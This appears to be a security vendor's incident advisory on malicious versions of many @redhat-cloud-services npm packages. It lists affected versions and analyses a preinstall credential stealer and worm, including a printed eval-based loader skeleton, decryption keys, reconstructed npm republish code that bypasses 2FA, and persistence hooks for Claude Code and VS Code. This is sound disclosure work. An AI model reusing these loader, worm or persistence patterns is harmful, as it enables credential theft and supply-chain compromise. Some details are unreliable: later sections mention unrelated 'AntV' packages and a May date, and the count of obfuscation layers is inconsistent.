惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Jina AI
Jina AI
大猫的无限游戏
大猫的无限游戏
Microsoft Security Blog
Microsoft Security Blog
C
Check Point Blog
云风的 BLOG
云风的 BLOG
J
Java Code Geeks
阮一峰的网络日志
阮一峰的网络日志
MongoDB | Blog
MongoDB | Blog
Engineering at Meta
Engineering at Meta
H
Help Net Security
Microsoft Azure Blog
Microsoft Azure Blog
Recent Announcements
Recent Announcements
Google DeepMind News
Google DeepMind News
F
Fortinet All Blogs
宝玉的分享
宝玉的分享
H
Hackread – Cybersecurity News, Data Breaches, AI and More
腾讯CDC
A
About on SuperTechFans
酷 壳 – CoolShell
酷 壳 – CoolShell
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
S
SegmentFault 最新的问题
Vercel News
Vercel News
aimingoo的专栏
aimingoo的专栏
B
Blog RSS Feed

Step Security Blog

Securing Vibe Coding and AI Coding Agents: An End-to-End Approach with StepSecurity - StepSecurity Introducing StepSecurity Dev Machine Guard: Protecting Developer Machines from Supply Chain Attacks - StepSecurity Top 2024 Predictions for CI/CD Security - StepSecurity Dev Machine Guard Is Now Open Source: See What's Really Running on Your Developer Machine - StepSecurity Datadog's DevSecOps 2026 Report Validates What We've Been Building - StepSecurity hackerbot-claw: An AI-Powered Bot Actively Exploiting GitHub Actions - Microsoft, DataDog, and CNCF Projects Hit So Far - StepSecurity Cline Supply Chain Attack Detected: cline@2.3.0 Silently Installs OpenClaw - StepSecurity StepSecurity’s Unified Protection Across the SDLC Infrastructure Threat Framework (SITF) - StepSecurity @velora-dex/sdk Compromised on npm: Malicious Version Drops macOS Backdoor via launchctl Persistence - StepSecurity axios Compromised on npm - Malicious Versions Drop Remote Access Trojan - StepSecurity Behind the Scenes: How StepSecurity Detected and Helped Remediate the Largest npm Supply Chain Attack - StepSecurity 10 Layers Deep: How StepSecurity Stops TeamPCP's Trivy Supply Chain Attack on GitHub Actions - StepSecurity Malicious IoliteLabs VSCode Extensions Target Solidity Developers on Windows, macOS, and Linux with Backdoor - StepSecurity TeamPCP Plants WAV Steganography Credential Stealer in telnyx PyPI Package - StepSecurity litellm: Credential Stealer Hidden in PyPI Wheel - StepSecurity Checkmarx KICS GitHub Action Compromised: Malware Injected in All Git Tags - StepSecurity CanisterWorm: How a Self-Propagating npm Worm Is Spreading Backdoors Across the Ecosystem - StepSecurity Trivy Compromised a Second Time - Malicious v0.69.4 Release, aquasecurity/setup-trivy, aquasecurity/trivy-action GitHub Actions Compromised - StepSecurity bittensor-wallet 4.0.2 Compromised on PyPI - Backdoor Exfiltrates Private Keys - StepSecurity Malicious npm Releases Found in Popular React Native Packages - 130K+ Monthly Downloads Compromised - StepSecurity Malicious Polymarket Bot Hides in Hijacked dev-protocol GitHub Org and Steals Wallet Keys - StepSecurity ForceMemo: Hundreds of GitHub Python Repos Compromised via Account Takeover and Force-Push - StepSecurity xygeni-action Compromised: C2 Reverse Shell Backdoor Injected via Tag Poisoning - StepSecurity kubernetes-el Compromised: How a Pwn Request Exploited a Popular Emacs Package - StepSecurity How StepSecurity Caught a Release Storm in Microsoft’s @types Packages - StepSecurity Harden Runner Now Supports Windows and macOS GitHub Actions Runners - StepSecurity 10,000 Open-Source Projects Now Secured by Harden-Runner Community-Tier: A Milestone Three Years in the Making - StepSecurity 20+ Popular NPM Packages Compromised (Chalk, Debug, Strip-ANSI, Color-Convert, Wrap-ANSI...) - StepSecurity 2024 in Review: The Evolution of CI/CD Security & What's Next - StepSecurity How to Use Docker in Actions Runner Controller (ARC) Runners Securely - StepSecurity
Multiple redhat-cloud-services npm Packages compromised -...
2026-06-01 · via Step Security Blog

On June 1, 2026, StepSecurity found that several packages in the @redhat-cloud-services npm scope were shipping malware that runs automatically on every npm install, before any application code executes. The payload is a multi-stage credential harvester that sweeps GitHub Actions secrets along with AWS, GCP, Azure, Kubernetes, HashiCorp Vault, npm, and CircleCI tokens, and it is purpose-built to evade detection, including an explicit attempt to bypass StepSecurity Harden-Runner.

StepSecurity analyzed the compromised packages using both static and dynamic techniques. In these compromised packages, the install-time script is 4.2 MB, a file that should weigh a few kilobytes, with the real payload buried under three separate layers of obfuscation. The malware is also a self-propagating worm: using stolen npm tokens and npm's bypass_2fa parameter, it republishes backdoored versions of other packages on its own, even against accounts protected by two-factor authentication, so every infected machine can seed the next wave with no attacker involvement. All affected packages were published via GitHub Actions OIDC from the RedHatInsights/javascript-clients repository, indicating the upstream CI/CD pipeline itself was compromised.

If you or your pipelines have installed any of the affected versions, assume that your CI/CD environment or developer machine is already compromised, and rotate exposed credentials immediately.

StepSecurity has filed disclosure issues in all three upstream repositories and is working with the maintainers to confirm the scope of the pipeline compromise and coordinate removal of the malicious releases:

Affected Packages

Package

Malicious Versions

@redhat-cloud-services/types

3.6.1, 3.6.2, 3.6.4

@redhat-cloud-services/frontend-components-utilities

7.4.1, 7.4.2, 7.4.4

@redhat-cloud-services/frontend-components

7.7.2, 7.7.3, 7.7.5

@redhat-cloud-services/rbac-client

9.0.3, 9.0.4, 9.0.6

@redhat-cloud-services/javascript-clients-shared

2.0.8, 2.0.9, 2.0.11

@redhat-cloud-services/frontend-components-config-utilities

4.11.2, 4.11.3, 4.11.5

@redhat-cloud-services/frontend-components-notifications

6.9.2, 6.9.3, 6.9.5

@redhat-cloud-services/tsc-transform-imports

1.2.2, 1.2.4, 1.2.6

@redhat-cloud-services/frontend-components-config

6.11.3, 6.11.4, 6.11.6

@redhat-cloud-services/eslint-config-redhat-cloud-services

3.2.1, 3.2.2, 3.2.4

@redhat-cloud-services/host-inventory-client

5.0.3, 5.0.4, 5.0.6

@redhat-cloud-services/rule-components

4.7.2, 4.7.3, 4.7.5

@redhat-cloud-services/frontend-components-remediations

4.9.2, 4.9.3, 4.9.5

@redhat-cloud-services/frontend-components-translations

4.4.1, 4.4.2, 4.4.4

@redhat-cloud-services/vulnerabilities-client

2.1.9, 2.1.11

@redhat-cloud-services/frontend-components-advisor-components

3.8.2, 3.8.4, 3.8.6

@redhat-cloud-services/entitlements-client

4.0.11, 4.0.12, 4.0.14

@redhat-cloud-services/chrome

2.3.1, 2.3.2, 2.3.4

@redhat-cloud-services/notifications-client

6.1.4, 6.1.5, 6.1.7

@redhat-cloud-services/compliance-client

4.0.3, 4.0.4, 4.0.6

@redhat-cloud-services/sources-client

3.0.10, 3.0.11, 3.0.13

@redhat-cloud-services/integrations-client

6.0.4, 6.0.5, 6.0.7

@redhat-cloud-services/frontend-components-testing

1.2.1, 1.2.2, 1.2.4

@redhat-cloud-services/remediations-client

4.0.4, 4.0.5, 4.0.7

@redhat-cloud-services/insights-client

4.0.4, 4.0.5, 4.0.7

@redhat-cloud-services/topological-inventory-client

3.0.10, 3.0.11, 3.0.13

@redhat-cloud-services/config-manager-client

5.0.4, 5.0.5, 5.0.7

@redhat-cloud-services/hcc-pf-mcp

0.6.1, 0.6.2, 0.6.4

@redhat-cloud-services/quickstarts-client

4.0.11, 4.0.12, 4.0.14

@redhat-cloud-services/patch-client

4.0.4, 4.0.5, 4.0.7

@redhat-cloud-services/hcc-feo-mcp

0.3.1, 0.3.2, 0.3.4

@redhat-cloud-services/hcc-kessel-mcp

0.3.1, 0.3.2, 0.3.4

Runtime Analysis Using Harden-Runner

To observe the malware's behavior at runtime, we installed @redhat-cloud-services/notifications-client@6.1.4 in a controlled GitHub Actions workflow with StepSecurity Harden-Runner enabled in audit mode. Harden-Runner monitors all outbound network connections, process executions, and file writes at the step level, providing full visibility into what happens during npm install.

Harden-Runner process events tab showing Runner.Worker /proc/mem read

The Attack: Entry Point and Execution Chain

The diagram above traces the full execution path that is from npm install through four obfuscation layers to live credential exfiltration and supply-chain worm propagation.

Preinstall Hook

Each malicious package declares a preinstall script in package.json that executes node index.js. The index.js file is 4.2 MB, an immediate anomaly for a library package. Execution begins the moment npm install processes the package, before any application code runs and before the developer has any indication something is wrong.

"scripts": {
  "preinstall": "node index.js"
}


Obfuscation Layers

Four distinct layers, each defeating a different class of analysis tool.

Layer 1 -> ROT-21

The top-level structure of index.js wraps the entire payload in a try { eval(...) } catch(e) {} block. The inner content is ROT-21 encoded, a Caesar cipher with shift 21 applied to all alphabetic characters. Character codes are stored as a large numeric array reconstructed at runtime via String.fromCharCode. The silent catch block ensures no errors surface to the developer console regardless of environment.

try {
  eval(function(s, n) {
    return s.replace(/[a-zA-Z]/g, function(c) {
      return String.fromCharCode(
        (c <= 'Z' ? 90 : 122) >= (c = c.charCodeAt(0) + n) ? c : c - 26
      );
    });
  }([/* 4.2MB of numeric char codes */].map(c => String.fromCharCode(c)).join(''), 21))
} catch(e) {}

Layer 2 -> AES-128-GCM

Decoding the ROT-21 layer reveals a 1.27 MB JavaScript file containing two AES-128-GCM encrypted blobs: _b (the Bun downloader) and _p (the main implant).

Both blobs are decrypted at runtime using hardcoded keys and initialization vectors embedded in the Stage 2 output:

Blob

AES-128-GCM Key

IV

Purpose

_b

4c26cf9791bce1bfd4b84eba80ce2754

1241582f04234f7192feacba

Bun runtime downloader

_p

ec514c074caf0ffdce6c66a0e95753d8

1251c3b85365f9b56a956c10

Main payload implant

Layer 3 -> obfuscator.io

Custom base64 alphabet + IIFE rotation. Alphabet is lowercase-before-uppercase (reversed from standard). The 2,219-entry string table is rotated R=284 times by an IIFE push/shift loop before any lookups. Static extraction without simulating the rotation gives entirely wrong index mappings.

Layer 4 -> B5 cipher

Custom PBKDF2 + Fisher-Yates cipher. All sensitive strings (C2 domains, endpoints, file paths) are encrypted. 200,000-iteration PBKDF2 makes brute-force infeasible. Password and salt are themselves B5-encrypted in the string table.

The recovered B5 cipher parameters are: password ba2c6ddb3672bdd6a611e6850b4f700b52aed3dab2f1b3d5f8c839d4a157a709, salt 5b26508dc0f1075a7c0b4d8aa464487e. C2 domain decryption using these parameters is in progress; this post will be updated with confirmed domains.

  • Key derivation: PBKDF2(password, salt, 200,000 iterations, 32 bytes output, SHA-256). The password and salt are themselves stored in the obfuscated string table, only accessible after the 284-cycle rotation completes.
  • Per-message key: SHA-256(master_key ∥ iv), where iv is the first 16 bytes of the ciphertext.
  • Decryption: 3 rounds of inverse Fisher-Yates byte-substitution (a per-block, per-round SHA-256-seeded permutation) with XOR feedback chaining between blocks.
  • Ciphertext storage: Each encrypted value is stored as a standard base64 string inside the obfuscator.io string table, which is itself custom-base64 encoded.

Payload Capabilities

GitHub Actions Runner Memory Extraction

The payload reads from /proc/<pid>/mem to extract live secrets directly from the Runner.Worker process memory. It queries the GitHub Actions runtime API using ACTIONS_RUNTIME_TOKEN to enumerate environment variables and identify which ones are flagged as isSecret: true, the same flag that causes values to be masked in workflow logs. It then targets those specific variables for extraction from process memory. This technique extracts masked secrets that never appear in logs, bypassing the masking mechanism entirely.

// Key patterns identified in deobfuscated payload
/proc/*/mem               // direct process memory read target
Runner.Worker             // process name used to locate runner PID
isSecret                  // GitHub Actions API field to identify masked secrets
ACTIONS_RUNTIME_TOKEN     // used to authenticate against runner API
GITHUB_TOKEN              // primary exfiltration target

Multi-Cloud and Developer Credential Sweep

The payload performs a broad credential sweep across cloud providers, package registries, and developer tools:

Target

Credentials / Files Harvested

GitHub Actions

GITHUB_TOKEN, ACTIONS_RUNTIME_TOKEN, ACTIONS_ID_TOKEN_REQUEST_TOKEN, NPM_TOKEN

AWS

AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN, ~/.aws/credentials

GCP

Application default credentials, service account key files

Azure

Service principal credentials, AZURE_CLIENT_SECRET, managed identity tokens

HashiCorp Vault

VAULT_TOKEN, VAULT_ADDR

Kubernetes

In-cluster service account token, ~/.kube/config

npm

~/.npmrc (publish tokens)

SSH

~/.ssh/id_rsa, ~/.ssh/id_ed25519, all private key files

Docker

~/.docker/config.json (registry auth)

General

.env files throughout the filesystem

Supply-Chain Worm: Autonomous npm Republish

Using harvested npm authentication tokens, the payload attempts to publish new backdoored versions of packages the victim account has access to. Critically, it uses npm's bypass_2fa publish parameter to override two-factor authentication requirements. This capability is available to automation tokens and is used here to make the worm self-propagating even against accounts with 2FA enabled. Each successfully infected machine can autonomously seed the next wave of compromised packages without any further attacker involvement.

// Worm propagation logic (reconstructed)
const npmToken = process.env.NPM_TOKEN ?? readNpmrc();
if (!npmToken) return;

// 1. Authenticate
const tokens = await fetch('https://registry.npmjs.org/-/npm/v1/tokens', {
  headers: { Authorization: `Bearer ${npmToken}` }
}).then(r => r.json());

// 2. Enumerate publishable packages
const packages = await getPublishablePackages(npmToken);

// 3. Publish trojanized version with bypass_2fa flag
for (const pkg of packages) {
  const trojan = buildTrojanVersion(pkg);
  await npmPublish(trojan, { bypass_2fa: true });
}


C2 Infrastructure

All C2 traffic uses https://api.github.com with User-Agent: python-requests/2.31.0. From a network perspective this is indistinguishable from legitimate GitHub API calls encrypted, from trusted GitHub IP ranges, with no external domain contact.

16-account C2 pool

The malware randomly selects one account per session. Blocking a single account does not disable C2.

typhonian

tartarean

erebean

stygian

orphic

nemean

spartan

basilisk

manticore

styx

aegis

thunderbolt

tempest

cataclysm

onslaught

havoc

GitHub Dead-Drop C2 Channel

Beyond direct HTTPS exfiltration, the payload implements a covert GitHub-based exfiltration channel. Using a harvested GITHUB_TOKEN, it calls the GitHub Contents API to create refs and commits containing base64-encoded stolen data in victim-controlled repositories. This technique routes exfiltrated data through api.github.com, a host that is almost universally permitted in CI network policies, making the exfiltration indistinguishable from normal git operations at the network layer.

Developer Workstation Persistence

The payload installs two persistence mechanisms targeting developer tooling, surviving package removal:

Claude Code : SessionStart hook

A SessionStart hook is injected into Claude Code's settings file. This hook executes attacker-controlled code at the beginning of every Claude Code session on the compromised machine, giving the attacker persistent code execution triggered by normal developer workflow.

// ~/.claude/settings.json — injected by malware
{
  "hooks": {
    "SessionStart": [
      { "command": "<malicious command>" }
    ]
  }
}

VS Code : folderOpen task

A folderOpen task trigger is written to workspace task configurations, executing attacker code every time the developer opens a project folder in VS Code.

// .vscode/tasks.json — injected by malware
{
  "tasks": [{
    "type": "shell",
    "command": "<malicious command>",
    "runOptions": { "runOn": "folderOpen" }
  }]
}

For StepSecurity Enterprise Customers

Threat Center Alert

StepSecurity has published a threat intel alert in the Threat Center with all relevant links to check if your organization is affected. The alert includes the full attack summary, technical analysis, IOCs, affected versions, and remediation steps, so teams have everything needed to triage and respond immediately. Threat Center alerts are delivered directly into existing SIEM workflows for real-time visibility.

Harden-Runner

Harden-Runner is a purpose-built security agent for CI/CD runners.

It monitors all network events, process executions, file access, and outbound network connections at the step level in GitHub Actions, providing full runtime visibility into what happens during every workflow step, including npm install.

In this campaign, the malicious payload attempts to read the Runner.Worker process memory to extract plaintext secrets, including GITHUB_TOKEN and all secrets injected into the workflow, directly from the runner's address space without ever writing them to disk or making a suspicious network connection.

Harden-Runner detects this and immediately initiates lockdown mode, terminating the malicious process before the memory read can complete and preventing any secrets from being extracted. The workflow run is halted and a suspicious process event is recorded in the runtime trace.

Link to the github run : https://app.stepsecurity.io/github/actions-security-demo/compromised-packages/actions/runs/26751375948

Secure Registry

StepSecurity Secure Registry provides each enterprise customer with a dedicated, policy-enforced npm registry that sits between your existing package manager (such as JFrog Artifactory) and the public npm registry. Instead of fetching packages directly from registry.npmjs.org, your infrastructure routes requests through your StepSecurity registry, which applies configurable security policies before serving any package.

The primary defense here is the cooldown period. Newly published package versions are held for a configurable window before being served to any developer machine or CI/CD pipeline. When the compromised AntV packages were published to npm, Secure Registry customers were never exposed. Their registries continued serving the last known safe versions while the cooldown clock ran, giving the community and StepSecurity's AI Package Analyst time to flag and permanently block the malicious releases.

Detect Compromised Developer Machines

Supply chain attacks like this one do not stop at the CI/CD pipeline. The malicious payload harvests credentials, SSH keys, cloud tokens, cryptocurrency wallets, and AI tool configurations from the local environment. Every developer who ran npm install with a compromised version outside of CI is a potential point of compromise.

StepSecurity Dev Machine Guard gives security teams real-time visibility into npm packages installed across every enrolled developer device. When a malicious package is identified, teams can immediately search by package name and version to discover all impacted machines.

npm Package Cooldown Check

Newly published npm packages are temporarily blocked during a configurable cooldown window. When a PR introduces or updates to a recently published version, the check automatically fails. Since most malicious packages are identified within hours, this creates a crucial safety buffer. In this case, the compromised AntV versions were published in rapid succession on May 19, so any PR updating to an affected version during the cooldown period would have been blocked automatically.

npm Package Compromised Updates Check

StepSecurity maintains a real-time database of known malicious and high-risk npm packages, updated continuously, often before official CVEs are filed. If a PR attempts to introduce a compromised package, the check fails and the merge is blocked. All compromised versions from this campaign were added to this database within minutes of detection.

npm Package Search

Search across all PRs in all repositories across your organization to find where a specific package was introduced. When a compromised package is discovered, instantly understand the blast radius: which repos, which PRs, and which teams are affected. This works across pull requests, default branches, and dev machines.

AI Package Analyst

AI Package Analyst continuously monitors the npm registry for suspicious releases in real time, scoring packages for supply chain risk before you install them. In this case, the compromised AntV versions were flagged within minutes of publication, giving teams time to investigate, confirm malicious intent, and act before the packages accumulated significant installs. The payload size anomaly, injected index.js at the package root, and the optionalDependencies reference to a GitHub commit were all surfaced as high-confidence supply chain indicators.

This post will be updated as technical analysis of the remaining packages progresses, including full payload deobfuscation, recovery of encrypted C2 domains, and any additional indicators of compromise identified.